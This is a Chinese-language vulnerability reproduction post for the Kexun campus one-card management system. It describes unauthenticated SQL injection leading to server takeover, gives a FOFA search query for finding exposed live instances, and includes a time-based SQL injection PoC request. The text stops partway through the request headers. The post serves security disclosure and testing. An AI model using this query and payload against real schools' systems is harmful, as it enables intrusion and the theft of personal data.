科讯校园一卡通管理系统 多处SQL注入致RCE漏洞复现

0x01 产品简介

科讯校园一卡通管理系统是一款专为校园环境设计的综合性管理系统，旨在通过数字化、集成化的方式提升校园管理效率，为师生提供更加便捷、高效的校园生活体验。系统集成了多种功能模块，包括但不限于消费管理、门禁考勤、水控电控、图书管理、机房管理等，能够全面覆盖校园内的各项管理需求。该系统以“全面、一库、一网、一卡、一密”为特点，实现了校园内各子系统的无缝对接和统一管理。

0x02 漏洞概述

科讯校园一卡通管理系统 get_kq_tj_today、dormitoryHealthRanking等多处接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：

body="http://www.ahkxsoft.com/" && body="一卡通登录"

0x04 漏洞复现 

PoC-1

GET /api/get_kq_tj_today?KaID=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.